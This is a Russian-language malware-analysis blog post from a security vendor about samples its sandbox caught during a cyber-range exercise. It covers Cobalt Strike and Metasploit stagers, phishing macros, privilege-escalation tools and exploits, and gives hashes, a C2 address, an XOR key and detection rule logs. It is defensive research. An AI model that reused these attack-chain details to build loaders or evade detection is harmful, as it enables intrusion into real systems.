Выводы

Мы видим, что зачастую нападающие (в том числе и в рамках The Standoff) используют атаки на приложения, опубликованные на периметре, с целью получения первичного доступа и закрепления в инфраструктуре. Основным средством защиты таких приложений являются решения класса web application firewall. На киберполигоне PT Application Firewall показал свою эффективность в отслеживании различных атак на периметре, в том числе позволил формировать собственные правила для отслеживания атак. За счет удобного интерфейса и отображения как запросов, так и ответов приложения продукт позволил нам эффективно отсеивать false positive срабатывания, а также оценить спектр используемого атакующими инструментария.

Positive Technologies (PT Expert Security Center)

Подробнее..

The Standoff, май 2021 года. О пойманных зверьках в песочнице

15.06.2021 12:07:46 | Автор: admin

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

  • сканирование файлов статическими правилами нашего PT ESC,

  • отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

  • анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

  • анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

  • сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с уловом в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

  • из вложений писем с почтовых серверов инфраструктуры города FF;

  • из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

  • через ICAP, перехваченные с помощью PT Application Firewall;

  • путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Рисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникам

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Рисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в системуРисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в систему

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

Рисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействамРисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействам

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Рисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалютыРисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалюты

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

  • CVE-2011-1249

  • CVE-2012-0217

  • CVE-2016-5195

  • CVE-2020-0787

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Судя по расширению файл представляет собой офисный документ:

Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

{"count": 1,"process.id": "3176","process.name": "program files\\microsoft office\\office14\\winword.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621437055.497087","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "ET INFO PowerShell DownloadString Command Common In Powershell Stagers","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

  Verified:UnsignedLink date:12:40 03.04.2009Publisher:n/aCompany:Apache Software FoundationDescription:ApacheBench command line utilityProduct:Apache HTTP ServerProd version:2.2.14File version:2.2.14MachineType:32-bit

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4
{"count": 1,"process.id": "3176","process.name": "users\\john\\desktop\\lolkekpohek.exe","detect.name": "Backdoor.Win32.Generic.a","unixtime": "1621417537.223409","_rule": "Backdoor.Win32.Generic.a","s_msg": "SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange","correlation_name": "Backdoor.Win32.Generic.a","detect.type": "malware"}

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

myCV (2).doc

Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

  1. Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву c в имени файла).

  2. Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд участниц соревнования.

    Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
{"count": 1,"process.id": "1848","process.name": "windows\\tasks\\svhost.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621546131.952323","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "REMOTE [PTsecurity] Goagent","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

19 мая в 11:43 в сетевом трафике был перехвачен файл с расширением .pdf. На самом деле это исполняемый PE-файл. В результате запуска в песочнице было обнаружено обобщенное вредоносное поведение.

Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5

Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Рисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9dbРисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

Если есть разведка и поиск способов повысить привилегии должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

Рисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83fРисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

CVE-2018-8120.exe

SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

Рисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53cРисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

BitsArbitraryFileMoveExploit.exe

SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

Рисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПОРисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПО

В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru